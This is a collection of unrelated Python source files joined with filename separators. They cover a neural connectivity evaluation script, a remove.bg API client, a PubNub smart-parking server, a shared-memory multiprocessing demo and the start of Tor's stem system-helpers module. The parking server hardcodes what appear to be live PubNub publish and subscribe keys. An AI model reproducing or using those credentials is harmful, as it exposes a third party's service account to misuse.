np.savetxt(pstExcFile, pstAllExcNumpy)
np.savetxt(pstInhFile, pstAllInhNumpy)
def initCache(numSlices):
manager = mp.Manager()
preCache = {} # sliceIndex -> preFeatures
postCache = {} # sliceIndex -> postFeatures
for i in range(-1, numSlices):
preCache[i] = manager.dict()
postCache[i] = manager.dict()
return preCache, postCache
def computeConnectivity(networkDir, idsDir, cacheDir, outfolder, numWorkers):
# shared data
gridDescriptor = "50-50-50"
boundsDescriptor = "cellular-connectivity-volume"
util_geometry.setGridSize(gridDescriptor)
boxMin, boxMax = constants.getCellularConnectivityVolume()
gridBounds = util_geometry.getGridBounds(boxMin, boxMax)
slices = getDefaultSlices()
featureComputationData = util_features_mp.loadFeatureComputationData(networkDir)
# pstAll
pstAllExc, pstAllInh = loadPstAll(cacheDir)
if(pstAllExc is None):
pstAllExc, pstAllInh = util_features_mp.getPstAll(featureComputationData, networkDir, gridBounds, boundsDescriptor, gridDescriptor, numWorkers)
savePstAll(cacheDir, pstAllExc, pstAllInh)
# publications
publicationsFile = os.path.join(networkDir, "empirical_data.json")
publications = util_empirical.loadPublications(publicationsFile, extend_sort=True)
lastPreLayer = ""
for publication in publications:
publicationId = publication["ID"]
measurementType = publication["type"]
selectionDescriptor = publication["selection_descriptor"]
preLayer = publication["pre_layer"]
if(preLayer != lastPreLayer):
preCache, postCache = initCache(20)
lastPreLayer = preLayer
if(measurementType == "connection_probability_invivo"):
sliceIndex = -1
fileIdsPre = os.path.join(idsDir, "{}_pre.txt".format(publicationId))
fileIdsPost = os.path.join(idsDir, "{}_post.txt".format(publicationId))
preIds = util.loadIdsFromFile(fileIdsPre)
postIds = util.loadIdsFromFile(fileIdsPost)
preFeatures = preCache[sliceIndex]
postFeatures = postCache[sliceIndex]
util_features_mp.getPreFeatures(featureComputationData, preFeatures, networkDir, gridBounds, boundsDescriptor, gridDescriptor, preIds, numWorkers, sliceParams=None)
util_features_mp.getPostFeatures(featureComputationData, postFeatures, networkDir, gridBounds, boundsDescriptor,
gridDescriptor, postIds, pstAllExc, pstAllInh, numWorkers, sliceParams=None)
util_cache.saveBatch(cacheDir, None, preFeatures, True)
util_cache.saveBatch(cacheDir, None, postFeatures, False)
stats, histogram, probabilitiesFlat, idsArray = calcConnectivity(preFeatures, postFeatures, preIds, postIds, featureComputationData["neurons"], numWorkers)
writeConnectivityStats(outfolder, publicationId, stats, histogram, probabilitiesFlat, idsArray)
print("processed", selectionDescriptor, len(preIds), len(postIds), len(preIds) * len(postIds), stats["avg"])
elif(measurementType == "connection_probability_invitro"):
for i in range(0, len(slices)):
sliceParams = slices[i]
fileIdsPre = os.path.join(idsDir, "{}_pre_slice-{}.txt".format(publicationId, i))
fileIdsPost = os.path.join(idsDir, "{}_post_slice-{}.txt".format(publicationId, i))
preIds = util.loadIdsFromFile(fileIdsPre)
postIds = util.loadIdsFromFile(fileIdsPost)
preFeatures = preCache[i]
postFeatures = postCache[i]
util_features_mp.getPreFeatures(featureComputationData, preFeatures, networkDir, gridBounds, boundsDescriptor, gridDescriptor, preIds, numWorkers, sliceParams = sliceParams)
util_features_mp.getPostFeatures(featureComputationData, postFeatures, networkDir, gridBounds, boundsDescriptor, gridDescriptor, postIds, pstAllExc, pstAllInh, numWorkers, sliceParams = sliceParams)
util_cache.saveBatch(cacheDir, i, preFeatures, True)
util_cache.saveBatch(cacheDir, i, postFeatures, False)
stats, histogram, probabilitiesFlat, idsArray = calcConnectivity(preFeatures, postFeatures, preIds, postIds, featureComputationData["neurons"], numWorkers)
writeConnectivityStats(outfolder, publicationId, stats, histogram, probabilitiesFlat, idsArray, sliceIndex = i)
print("processed", selectionDescriptor, "slice-{}".format(i), len(preIds), len(postIds), len(preIds) * len(postIds), stats["avg"])
else:
raise ValueError(measurementType)
def checkExist(filenames):
for filename in filenames:
if(not os.path.exists(filename)):
return False
return True
def getFilenames(connectivityDir, publicationId, measurementType):
numSlices = 20
filenames = {
"stats" : [],
"probabilities_flat" : [],
"histograms" : [],
"ids" : []
}
if(measurementType == "connection_probability_invivo"):
filenames["stats"].append(os.path.join(connectivityDir, "{}_stats.json".format(publicationId)))
filenames["probabilities_flat"].append(os.path.join(connectivityDir, "{}_probabilities_flat.txt".format(publicationId)))
filenames["histograms"].append(os.path.join(connectivityDir, "{}_probability_histogram.txt".format(publicationId)))
filenames["ids"].append(os.path.join(connectivityDir, "{}_ids.csv".format(publicationId)))
elif(measurementType == "connection_probability_invitro"):
for i in range(0, numSlices):
filenames["stats"].append(os.path.join(connectivityDir, "{}_slice-{}_stats.json".format(publicationId, i)))
filenames["probabilities_flat"].append(os.path.join(connectivityDir, "{}_slice-{}_probabilities_flat.txt".format(publicationId, i)))
filenames["histograms"].append(os.path.join(connectivityDir, "{}_slice-{}_probability_histogram.txt".format(publicationId, i)))
filenames["ids"].append(os.path.join(connectivityDir, "{}_slice-{}_ids.csv".format(publicationId, i)))
else:
raise ValueError(measurementType)
complete = checkExist(filenames["stats"]) and checkExist(filenames["probabilities_flat"]) and checkExist(filenames["histograms"])
return filenames, complete
def readSingleStats(filename):
with open(filename) as f:
stats = json.load(f)
return stats["avg"], stats["std"]
def getFlattenedProbability(filenames):
stat = util_stats.getStatEmptyStatVector()
for filename in filenames:
probabilities = np.loadtxt(filename)
for value in probabilities:
util_stats.updateStat(stat, value)
results = util_stats.evalStat(stat)
return results["average"], results["stdev"]
def getSubsampledProbability(filenames):
probsSubsampled = []
numSubsamples = 50
for filename in filenames:
probabilities = np.loadtxt(filename)
idx = np.arange(probabilities.size)
np.random.shuffle(idx)
probsSampled = probabilities[idx[0:numSubsamples]]
probsSubsampled.extend(probsSampled.tolist())
synapses = np.random.poisson(probsSubsampled)
nConnected = np.count_nonzero(synapses)
return nConnected / len(probsSubsampled)
def getMergedHistogram(filenames):
D = np.loadtxt(filenames[0])
for i in range(1, len(filenames)):
D += np.loadtxt(filenames[i])
return D
def getAggregatedValues(filenames):
statsFiles = filenames["stats"]
probabilitiesFlatFiles = filenames["probabilities_flat"]
histogramFiles = filenames["histograms"]
n = len(statsFiles)
scalarStats = np.zeros(shape=(n,2))
for i in range(0, n):
avg, std = readSingleStats(statsFiles[i])
scalarStats[i, 0] = avg
scalarStats[i, 1] = std
scalarStatsFlat = np.zeros(3)
scalarStatsFlat[0] = getFlattenedProbability(probabilitiesFlatFiles)[0]
scalarStatsFlat[1] = getFlattenedProbability(probabilitiesFlatFiles)[1]
scalarStatsFlat[2] = getSubsampledProbability(probabilitiesFlatFiles)
histogram = getMergedHistogram(histogramFiles)
return np.mean(scalarStats, axis=0), scalarStatsFlat, histogram
def computeStatsBatch(results, publications, publicationIndices, connectivityDir):
for publicationIndex in publicationIndices:
result = {}
publication = publications[publicationIndex]
selectionDescriptor = publication["selection_descriptor"].replace("-->","_")
publicationId = publication["ID"]
authorYear = util_empirical.getFirstAuthorYearDescriptor(publication)
measurementType = publication["type"]
empiricalValue = publication["cp_empirical"] / 100
filenames, complete = getFilenames(connectivityDir, publicationId, measurementType)
result["empirical"] = empiricalValue
result["complete"] = complete
if(complete):
scalarStats, scalarStatsFlat, histogram = getAggregatedValues(filenames)
result["scalarStats"] = scalarStats
result["scalarStatsFlat"] = scalarStatsFlat
result["histogram"] = histogram
print(selectionDescriptor, empiricalValue, scalarStats[0])
results[publicationId] = result
def computeStats(networkDir, connectivityDir, statsDir, numWorkers):
publicationsFile = os.path.join(networkDir, "empirical_data.json")
publications = util_empirical.loadPublications(publicationsFile, extend_sort=True)
plotData = []
manager = mp.Manager()
results = manager.dict()
publicationIndices = np.arange(len(publications))
batches = np.array_split(publicationIndices, numWorkers)
processes = []
for batch in batches:
p = mp.Process(target=computeStatsBatch, args=(results, publications, batch, connectivityDir))
p.start()
processes.append(p)
for p in processes:
p.join()
summaryFile = os.path.join(statsDir, "summary.csv")
with open(summaryFile, "w") as f:
f.write("descriptor,author_year,ID,empirical,avg_slices_individual,std_slices_individual,avg_slices_merged,std_slices_merged,avg_discrete_subsamples\n")
for publication in publications:
publicationId = publication["ID"]
authorYear = util_empirical.getFirstAuthorYearDescriptor(publication)
selectionDescriptor = publication["selection_descriptor"].replace("-->","_")
result = results[publicationId]
if(result["complete"]):
empiricalValue = result["empirical"]
scalarStats = result["scalarStats"]
scalarStatsFlat = result["scalarStatsFlat"]
histogram = result["histogram"]
line = "{},{},{},{:.4f},{:.4f},{:.4f},{:.4f},{:.4f},{:.4f}".format(selectionDescriptor, authorYear, publicationId,
empiricalValue, scalarStats[0], scalarStats[1], scalarStatsFlat[0], scalarStatsFlat[1], scalarStatsFlat[2])
f.write(line + "\n")
print(line)
np.savetxt(os.path.join(statsDir, "{}_histogram.txt".format(selectionDescriptor)), histogram)
plotData.append([scalarStats[0], empiricalValue])
return np.array(plotData)
def readSummaryFile(filename):
data = {}
with open(filename) as f:
lines = f.readlines()
for i in range(1, len(lines)):
parts = lines[i].rstrip().split(",")
publicationId = parts[2]
data[publicationId] = {
"descriptor" : parts[0],
"avg_slices_merged" : float(parts[6]),
"std_slices_merged" : float(parts[7])
}
return data
def plotStats(statsDir, plotData):
plt.scatter(plotData[:,0], plotData[:,1])
plt.xlim(0, 1)
plt.ylim(0, 1)
plt.xlabel("model")
plt.ylabel("empirical")
plt.gca().set_aspect('equal', adjustable='box')
plt.savefig(os.path.join(statsDir, "probabilities.png"))
def writeDSC(dscSubfolder, ids, probabilities):
if(ids.shape[0] != probabilities.size):
raise RuntimeError("size mismatch")
n = probabilities.size
dsc = -np.log(1-probabilities)
uniquePreIds = np.unique(ids[:,0])
for preId in uniquePreIds:
idx = ids[:,0] == preId
postIds = ids[idx,1]
sortIdx = np.argsort(postIds)
postIds = postIds[sortIdx]
dscValues = dsc[idx]
dscValues = dscValues[sortIdx]
with open(os.path.join(dscSubfolder, "{}_DSC.csv".format(preId)), "w") as f:
f.write("post_id,dsc\n")
for i in range(0, postIds.size):
f.write("{},{:.12E}\n".format(postIds[i], dscValues[i]))
def computeDSC(networkDir, connectivityDir, dscDir, publicationId = "3410f9b8-f11a-49c2-b033-f63eb98b2dc9"):
publicationsFile = os.path.join(networkDir, "empirical_data.json")
publications = util_empirical.loadPublications(publicationsFile, extend_sort=True)
publication = util_empirical.getPublication(publications, publicationId)
measurementType = publication["type"]
filenames, complete = getFilenames(connectivityDir, publicationId, measurementType)
if(not complete):
raise RuntimeError
probabilityFlatFiles = filenames["probabilities_flat"]
idsFiles = filenames["ids"]
n = len(probabilityFlatFiles)
for i in range(0,n):
if(n > 1):
subfolderName = os.path.join(dscDir, "{}_slice-{}".format(publicationId, i))
else:
subfolderName = os.path.join(dscDir, publicationId)
util.makeDir(subfolderName)
probabilities = np.loadtxt(probabilityFlatFiles[i])
ids = np.loadtxt(idsFiles[i], delimiter=",", dtype=int)
writeDSC(subfolderName, ids, probabilities)
def printUsageAndExit():
print("eval_cellular.py network-dir mode [num-workers]")
print()
print("mode: filter-ids, compute-connectivity, compute-stats, compute-dsc")
exit()
if __name__ == "__main__":
if(len(sys.argv) not in [3, 4]):
printUsageAndExit()
networkDir = sys.argv[1]
mode = sys.argv[2]
if(len(sys.argv) == 4):
numWorkers = int(sys.argv[3])
else:
numWorkers = mp.cpu_count()
outputDir = os.path.join(networkDir, "eval", "cellular_connectivity")
util.makeDir(outputDir)
idsDir = os.path.join(outputDir, "ids")
cacheDir = os.path.join(outputDir, "cache")
connectivityDir = os.path.join(outputDir, "connectivity")
statsDir = os.path.join(outputDir, "stats")
dscDir = os.path.join(outputDir, "dsc")
if(mode == "filter-ids"):
util.makeCleanDir(idsDir)
util.makeCleanDir(cacheDir)
util.makeCleanDir(connectivityDir)
filterIds(networkDir, idsDir, numWorkers)
elif(mode == "compute-connectivity"):
util_cache.initFolders(cacheDir)
util.makeCleanDir(connectivityDir)
computeConnectivity(networkDir, idsDir, cacheDir, connectivityDir, numWorkers)
elif(mode == "compute-stats"):
util.makeCleanDir(statsDir)
plotData = computeStats(networkDir, connectivityDir, statsDir, numWorkers)
plotStats(statsDir, plotData)
elif(mode == "compute-dsc"):
util.makeCleanDir(dscDir)
computeDSC(networkDir, connectivityDir, dscDir)
else:
raise ValueError(mode)
|
modified remove.bg.py | from itertools import cycle
from shutil import get_terminal_size
from threading import Thread
from time import sleep
import requests
import pandas as pd
df = pd.read_csv("crucials.csv")
remove_bg_api_key = str(df.iloc[0,-1])
img_loc = str(df.iloc[1,-1])
save_loc = str(df.iloc[2,-1])
class Loader:
def __init__(self, desc="Loading...", end="Done!", timeout=0.1):
"""
A loader-like context manager
Args:
desc (str, optional): The loader's description. Defaults to "Loading...".
end (str, optional): Final print. Defaults to "Done!".
timeout (float, optional): Sleep time between prints. Defaults to 0.1.
"""
self.desc = desc
self.end = end
self.timeout = timeout
self._thread = Thread(target=self._animate, daemon=True)
self.steps = ["⢿", "⣻", "⣽", "⣾", "⣷", "⣯", "⣟", "⡿"]
self.done = False
def start(self):
self._thread.start()
return self
def _animate(self):
for c in cycle(self.steps):
if self.done:
break
print(f"\r{self.desc} {c}", flush=True, end="")
sleep(self.timeout)
def __enter__(self):
self.start()
def stop(self):
self.done = True
cols = get_terminal_size((80, 20)).columns
print("\r" + " " * cols, end="", flush=True)
print(f"\r{self.end}", flush=True)
def __exit__(self, exc_type, exc_value, tb):
# handle exceptions with those variables ^
self.stop()
if __name__ == "__main__":
with Loader("Sending request to server..."):
response = requests.post(
'https://api.remove.bg/v1.0/removebg',
files={'image_file': open(img_loc, 'rb')},
data={'size': 'auto'},
headers={'X-Api-Key': remove_bg_api_key},
)
loader = Loader("Saving with object...", "That was fast!", 0.05).start()
if response.status_code == requests.codes.ok:
with open(save_loc, 'wb') as out:
out.write(response.content)
else:
print("Error:", response.status_code, response.text)
loader.stop() |
server.py | '''*********************************************************************************
TRITON SPARK
SERVER - SMART PARKING LOT SYSTEM
*********************************************************************************'''
#Import the Modules Required
from pubnub import Pubnub
import json
import datetime
from threading import Thread
import time
import math
import pytz
# Initialize the Pubnub Keys
pub_key = "pub-c-c7e0db72-117c-4e7b-95ca-5848e2c56a3b"
sub_key = "sub-c-0b137540-0098-11e7-af37-0619f8945a4f"
TIME_ZONE = "US/Central"
# Status of the Parking lots with key words
PARKING_STATUS_FREE = 0
PARKIGN_STATUS_RESERVED = 1
PARKING_BASIC_PAY = 10
# Holds the Present Status of all the Parking Lots from the hardware
'''{"lotNumber":"lot Status"}'''
g_orginalStatus = dict()
# Holds the Status of all Parking Lots according to the App
'''{"lotNumber":"lot Status"}'''
g_parkingStatus = dict()
# Notifies about Reservation Session Start and End for the individal App's
'''{"lotNumber":["sessionType","carNumber","startTime","endTime","totalTime","totalAmount"]}'''
g_sessionStatus = dict()
# Reserves the LOT and Starts the Meter
'''{"lotNumber":["carNummber","startTime","endTime"]}'''
g_smartMeter = dict()
''' Handles the Reserved Slot
Holds the Start Time and End Time for the lot Reserved and Closes the Reservation
if the Car does not park and charges for the time elapsed
{"lotNumber":["carNummber","startTime","endTime"]}
'''
g_lotReserved = dict()
# List Hold the Reserved Parking Lots and free's the list if the lot gets empty
g_lotNumberList = list()
'''****************************************************************************************
Function Name : init
Description : Initalize the pubnub keys and Starts Subscribing from the
parkingdevice-resp and parkingapp-req channels
Parameters : None
****************************************************************************************'''
def init():
#Pubnub Initialization
global pubnub
pubnub = Pubnub(publish_key=pub_key,subscribe_key=sub_key)
pubnub.subscribe(channels='parkingdevice-resp', callback=callback, error=callback, reconnect=reconnect, disconnect=disconnect)
pubnub.subscribe(channels='parkingapp-req', callback=appcallback, error=appcallback, reconnect=reconnect, disconnect=disconnect)
'''****************************************************************************************
Function Name : checkList
Description : Checks the list each time the lot gets Reserved and verifies the
lot is not in the list
Parameters : p_lotNumber - Parking lot Number
****************************************************************************************'''
def checkList(p_lotNumber):
l_count = 0
for i in range(len(g_lotNumberList)):
if (p_lotNumber == g_lotNumberList[i]):
l_count+=1
return l_count
'''****************************************************************************************
Function Name : closeReservation
Description : Closes the Reservation either by timeout or the hardware deducts
parking lot gets free
Parameters : None
****************************************************************************************'''
def closeReservation():
l_endTime = datetime.datetime.now(pytz.timezone(TIME_ZONE))
time.sleep(1)
print ("Lot list: ",len(g_lotNumberList))
if(len(g_lotNumberList) > 0):
for i in range(len(g_lotNumberList)):
if (g_orginalStatus.has_key(g_lotNumberList[i]) and g_orginalStatus[g_lotNumberList[i]] != 1 and len(g_lotNumberList) > 0):
l_totalTime = l_endTime - g_lotReserved[g_lotNumberList[i]]
l_totalMin = divmod(l_totalTime.days * 86400 + l_totalTime.seconds, 60)[0]
if(l_totalMin >= 1):
sessionEnd(g_lotNumberList[i],g_orginalStatus[g_lotNumberList[i]])
g_parkingStatus[g_lotNumberList[i]] = g_orginalStatus[g_lotNumberList[i]]
pubnub.publish(channel='parkingapp-resp', message={g_lotNumberList[i]:g_orginalStatus[g_lotNumberList[i]]})
del g_lotReserved[g_lotNumberList[i]]
del g_lotNumberList[i]
break
elif(g_orginalStatus.has_key(g_lotNumberList[i]) and g_orginalStatus[g_lotNumberList[i]] == 1):
del g_lotReserved[g_lotNumberList[i]]
del g_lotNumberList[i]
break
print "Lot : ", g_lotNumberList[i], " status : ", g_parkingStatus[g_lotNumberList[i]]
else:
print "Lot is empty";
pass
'''****************************************************************************************
Function Name : sessionEnd
Description : Ends the Metering and Charges the User
Parameters : p_deviceid - Lot number
p_status - Status of the Parking Lot
****************************************************************************************'''
def sessionEnd(p_deviceid,p_status):
if(g_smartMeter.has_key(p_deviceid) and p_status == PARKING_STATUS_FREE):
l_endTime = datetime.datetime.now(pytz.timezone(TIME_ZONE))
g_smartMeter[p_deviceid][2] = l_endTime
l_etimeStr = str(l_endTime.hour) + ":" + str(l_endTime.minute) + ":" + str(l_endTime.second)
l_parsedEndTime = datetime.datetime.strptime(l_etimeStr,'%H:%M:%S').strftime('%H:%M:%S')
g_sessionStatus["sessionType"] = 1
g_sessionStatus["carNum"] = g_smartMeter[p_deviceid][0]
g_sessionStatus["lotNumber"] = p_deviceid
g_sessionStatus["endTime"] = l_parsedEndTime
totalTime = g_smartMeter[p_deviceid][2] - g_smartMeter[p_deviceid][1]
l_totalMin = divmod(totalTime.days * 86400 + totalTime.seconds, 60)[0]
l_total = math.floor(l_totalMin/60) + 1
if l_totalMin < 1:
g_sessionStatus["totalTime"] = "1 Minute"
else:
g_sessionStatus["totalTime"] = str(l_totalMin) + " Minutes"
g_sessionStatus["totalAmt"] = (int)(l_total * PARKING_BASIC_PAY)
pubnub.publish(channel=g_smartMeter[p_deviceid][0], message=g_sessionStatus)
del g_smartMeter[p_deviceid]
else:
pass
'''****************************************************************************************
Function Name : carReserved
Description : Verifies the list did the car already parked, if not
Reserves the parking lot
Parameters : p_lotNumber - Lot Number
p_status - Status of the Parking Lot
****************************************************************************************'''
def carReserved(p_lotNumber,p_status):
g_orginalStatus[p_lotNumber] = p_status
if(checkList(p_lotNumber) != 0 and p_status == PARKING_STATUS_FREE):
g_parkingStatus[p_lotNumber] = PARKIGN_STATUS_RESERVED
else:
sessionEnd(p_lotNumber,p_status)
g_parkingStatus[p_lotNumber] = p_status
pubnub.publish(channel='parkingapp-resp', message={p_lotNumber:p_status})
'''****************************************************************************************
Function Name : appRequest
Description : Handles the Request sent from an app and responds with the
current status or with the Session start message
Parameters : p_requester - Request sent from DEVICE or APP
p_reqtype - Type of the request
1 : Request for the all parking lot status
2 : Request for the Session start
p_deviceid - Parking Lot Number
p_carNum - Car Number
****************************************************************************************'''
def appRequest(p_requester,p_reqtype,p_deviceid,p_carNum):
if (p_requester == "APP"):
if (p_reqtype == 1):
# Publishing the Status of the all the Parking Lots
pubnub.publish(channel='parkingapp-resp', message=g_parkingStatus)
elif (p_reqtype == 2):
g_smartMeter[p_deviceid] = [p_carNum,0,0,0]
if(g_smartMeter.has_key(p_deviceid)):
l_startTime = datetime.datetime.now(pytz.timezone(TIME_ZONE))
l_dateStr = str(l_startTime.day) + "." + str(l_startTime.month) + "." + str(l_startTime.year)
l_stimeStr = str(l_startTime.hour) + ":" + str(l_startTime.minute) + ":" + str(l_startTime.second)
l_parsedDate = datetime.datetime.strptime(l_dateStr,'%d.%m.%Y').strftime('%m-%d-%Y')
l_parsedStartTime = datetime.datetime.strptime(l_stimeStr,'%H:%M:%S').strftime('%H:%M:%S')
g_smartMeter[p_deviceid][1] = l_startTime
g_sessionStatus["sessionType"] = 0
g_sessionStatus["carNum"] = p_carNum
g_sessionStatus["lotNumber"] = p_deviceid
g_sessionStatus["parkingDate"] = l_parsedDate
g_sessionStatus["startTime"] = l_parsedStartTime
g_sessionStatus["endTime"] = 0
g_sessionStatus["totalTime"] = 0
g_sessionStatus["totalAmt"] = 0
pubnub.publish(channel=p_carNum, message=g_sessionStatus)
g_parkingStatus[p_deviceid] = PARKIGN_STATUS_RESERVED
g_lotReserved[p_deviceid] = l_startTime
if(checkList(p_deviceid)==0):
g_lotNumberList.append(p_deviceid)
pubnub.publish(channel='parkingapp-resp', message=g_parkingStatus)
elif (p_reqtype == 3):
if(g_smartMeter.has_key(p_deviceid)):
pubnub.publish(channel=p_carNum, message=g_sessionStatus)
g_parkingStatus[p_deviceid] = PARKING_STATUS_FREE
l_endTime = datetime.datetime.now(pytz.timezone(TIME_ZONE))
g_smartMeter[p_deviceid][2] = l_endTime
l_etimeStr = str(l_endTime.hour) + ":" + str(l_endTime.minute) + ":" + str(l_endTime.second)
l_parsedEndTime = datetime.datetime.strptime(l_etimeStr,'%H:%M:%S').strftime('%H:%M:%S')
g_sessionStatus["sessionType"] = 1
g_sessionStatus["carNum"] = g_smartMeter[p_deviceid][0]
g_sessionStatus["lotNumber"] = p_deviceid
g_sessionStatus["endTime"] = l_parsedEndTime
totalTime = g_smartMeter[p_deviceid][2] - g_smartMeter[p_deviceid][1]
l_totalMin = divmod(totalTime.days * 86400 + totalTime.seconds, 60)[0]
l_total = math.floor(l_totalMin/60) + 1
if l_totalMin < 1:
g_sessionStatus["totalTime"] = "1 Minute"
else:
g_sessionStatus["totalTime"] = str(l_totalMin) + " Minutes"
g_sessionStatus["totalAmt"] = (int)(l_total * PARKING_BASIC_PAY)
pubnub.publish(channel=g_smartMeter[p_deviceid][0], message=g_sessionStatus)
del g_smartMeter[p_deviceid]
pubnub.publish(channel='parkingapp-resp', message=g_parkingStatus)
else:
pass
'''****************************************************************************************
Function Name : callback
Description : Waits for the message from the parkingdevice-resp channel
Parameters : message - Sensor Status sent from the hardware
channel - channel for the callback
****************************************************************************************'''
def callback(message, channel):
if(message.has_key("deviceID") and message.has_key("value")):
carReserved(message["deviceID"],message["value"])
else:
pass
'''****************************************************************************************
Function Name : appcallback
Description : Waits for the Request sent from the APP
Parameters : message - Request sent from the app
channel - channel for the appcallback
****************************************************************************************'''
def appcallback(message, channel):
if(message.has_key("requester") and message.has_key("lotNumber") and message.has_key("requestType") and message.has_key("requestValue")):
appRequest(message["requester"],message["requestType"],message["lotNumber"],message["requestValue"])
else:
pass
'''****************************************************************************************
Function Name : error
Description : If error in the channel, prints the error
Parameters : message - error message
****************************************************************************************'''
def error(message):
print("ERROR : " + str(message))
'''****************************************************************************************
Function Name : reconnect
Description : Responds if server connects with pubnub
Parameters : message
****************************************************************************************'''
def reconnect(message):
print("RECONNECTED")
'''****************************************************************************************
Function Name : disconnect
Description : Responds if server disconnects from pubnub
Parameters : message
****************************************************************************************'''
def disconnect(message):
print("DISCONNECTED")
'''****************************************************************************************
Function Name : __main__
Description : Conditional Stanza where the Script starts to run
Parameters : None
****************************************************************************************'''
if __name__ == '__main__':
#Initialize the Script
init()
while True:
l_timeout = Thread(target=closeReservation)
l_timeout.start()
l_timeout.join()
#End of the Script
##*****************************************************************************************************##
|
sharing_states_between_process_01_shared_memory_01.py | from multiprocessing import Process, Value, Array
from typing import Iterable
# Data can be stored in a shared memory map using Value or Array. For example, the following code
# The 'd' and 'i' arguments used when creating num and arr are typecodes of
# the kind used by the array module: 'd' indicates a double precision float
# and 'i' indicates a signed integer.
# These shared objects will be process and thread-safe.
# For more flexibility in using shared memory one can use the
# multiprocessing.sharedctypes module which supports the creation of arbitrary
# ctypes objects allocated from shared memory.
def target_function(shared_num: float, shared_array: Iterable):
shared_num.value = 3.1415927
for i in range(len(shared_array)):
shared_array[i] = -shared_array[i]
if __name__ == '__main__':
shared_num = Value('d', 0.0)
shared_array = Array('i', range(0, 10))
process = Process(target=target_function, args=(shared_num, shared_array))
process.start()
process.join()
print(shared_num.value)
print(shared_array[:])
|
system.py | # Copyright 2011-2019, Damian Johnson and The Tor Project
# See LICENSE for licensing information
"""
Helper functions for working with the underlying system. These are mostly os
dependent, only working on linux, osx, and bsd. In almost all cases they're
best-effort, providing **None** if the lookup fails.
.. versionchanged:: 1.3.0
Dropped the get_* prefix from several function names. The old names still
work, but are deprecated aliases.
.. versionchanged:: 1.5.0
Added the **SYSTEM_CALL_TIME** global, which tracks total time spent making
system commands.
**Module Overview:**
::
is_windows - checks if we're running on windows
is_mac - checks if we're running on a mac
is_gentoo - checks if we're running on gentoo
is_slackware - checks if we're running on slackware
is_bsd - checks if we're running on the bsd family of operating systems
is_available - determines if a command is available on this system
is_running - determines if a given process is running
size_of - provides the memory usage of an object
call - runs the given system command and provides back the results
name_by_pid - gets the name for a process by the given pid
pid_by_name - gets the pid for a process by the given name
pid_by_port - gets the pid for a process listening to a given port
pid_by_open_file - gets the pid for the process with an open file
pids_by_user - provides processes owned by a user
cwd - provides the current working directory for a given process
user - provides the user a process is running under
start_time - provides the unix timestamp when the process started
tail - provides lines from the end of a file
bsd_jail_id - provides the BSD jail id a given process is running within
bsd_jail_path - provides the path of the given BSD jail
is_tarfile - checks if the given path is a tarball
expand_path - expands relative paths and ~ entries
files_with_suffix - provides files with the given suffix
get_process_name - provides our process' name
set_process_name - changes our process' name
.. data:: Status (enum)
State of a subprocess.
.. versionadded:: 1.6.0
==================== ===========
Status Description
==================== ===========
PENDING not yet started
RUNNING currently being performed
DONE completed successfully
FAILED failed with an exception
==================== ===========
"""
import collections
import ctypes
import ctypes.util
import itertools
import mimetypes
import multiprocessing
import os
import platform
import re
import subprocess
import sys
import tarfile
import threading
import time
import stem.prereq
import stem.util
import stem.util.enum
import stem.util.proc
import stem.util.str_tools
from stem import UNDEFINED
from stem.util import log
State = stem.util.enum.UppercaseEnum(
'PENDING',
'RUNNING',
'DONE',
'FAILED',
)
SIZE_RECURSES = {
tuple: iter,
list: iter,
collections.deque: iter,
dict: lambda d: itertools.chain.from_iterable(d.items()),
set: iter,
frozenset: iter,
}
# Mapping of commands to if they're available or not.
CMD_AVAILABLE_CACHE = {}
# An incomplete listing of commands provided by the shell. Expand this as
# needed. Some noteworthy things about shell commands...
#
# * They're not in the path so is_available() will fail.
# * subprocess.Popen() without the 'shell = True' argument will fail with...
# OSError: [Errno 2] No such file or directory
SHELL_COMMANDS = ['ulimit']
IS_RUNNING_PS_LINUX = 'ps -A co command'
IS_RUNNING_PS_BSD = 'ps -ao ucomm='
GET_NAME_BY_PID_PS = 'ps -p %s -o comm'
GET_PID_BY_NAME_PGREP = 'pgrep -x %s'
GET_PID_BY_NAME_PIDOF = 'pidof %s'
GET_PID_BY_NAME_PS_LINUX = 'ps -o pid -C %s'
GET_PID_BY_NAME_PS_BSD = 'ps axc'
GET_PID_BY_NAME_LSOF = 'lsof -tc %s'
GET_PID_BY_PORT_NETSTAT = 'netstat -npltu'
GET_PID_BY_PORT_SOCKSTAT = 'sockstat -4l -P tcp -p %s'
GET_PID_BY_PORT_LSOF = 'lsof -wnP -iTCP -sTCP:LISTEN'
GET_PID_BY_FILE_LSOF = 'lsof -tw %s'
GET_PIDS_BY_USER_LINUX = 'ps -o pid -u %s'
GET_PIDS_BY_USER_BSD = 'ps -o pid -U %s'
GET_CWD_PWDX = 'pwdx %s'
GET_CWD_LSOF = 'lsof -a -p %s -d cwd -Fn'
GET_BSD_JAIL_ID_PS = 'ps -p %s -o jid'
GET_BSD_JAIL_PATH = 'jls -j %s'
BLOCK_SIZE = 1024
# flag for setting the process name, found in '/usr/include/linux/prctl.h'
PR_SET_NAME = 15
argc_t = ctypes.POINTER(ctypes.c_char_p)
# The following can fail with pypy...
# AttributeError: No symbol Py_GetArgcArgv found in library <None>
try:
Py_GetArgcArgv = ctypes.pythonapi.Py_GetArgcArgv
Py_GetArgcArgv.restype = None
Py_GetArgcArgv.argtypes = [
ctypes.POINTER(ctypes.c_int),
ctypes.POINTER(argc_t),
]
except:
Py_GetArgcArgv = None
# This is both a cache for get_process_name() and tracks what we've changed our
# process name to.
_PROCESS_NAME = None
# Length of our original process name.
#
# The original author our process renaming is based on did a memset for 256,
# while Jake did it for the original process name length (capped at 1608). I'm
# not sure of the reasons for either of these limits, but setting it to
# anything higher than our original name length should be pointless, so opting
# for Jake's limit.
_MAX_NAME_LENGTH = -1
# Tracks total time spent shelling out to other commands like 'ps' and
# 'netstat', so we can account for it as part of our cpu time along with
# os.times().
SYSTEM_CALL_TIME = 0.0
SYSTEM_CALL_TIME_LOCK = threading.RLock()
class CallError(OSError):
"""
Error response when making a system call. This is an **OSError** subclass
with additional information about the process. Depending on the nature of the
error not all of these attributes will be available.
:var str msg: exception string
:var str command: command that was ran
:var int exit_status: exit code of the process
:var float runtime: time the command took to run
:var str stdout: stdout of the process
:var str stderr: stderr of the process
"""
def __init__(self, msg, command, exit_status, runtime, stdout, stderr):
self.msg = msg
self.command = command
self.exit_status = exit_status
self.runtime = runtime
self.stdout = stdout
self.stderr = stderr
def __str__(self):
return self.msg
class CallTimeoutError(CallError):
"""
Error response when making a system call that has timed out.
.. versionadded:: 1.6.0
:var float timeout: time we waited
"""
def __init__(self, msg, command, exit_status, runtime, stdout, stderr, timeout):
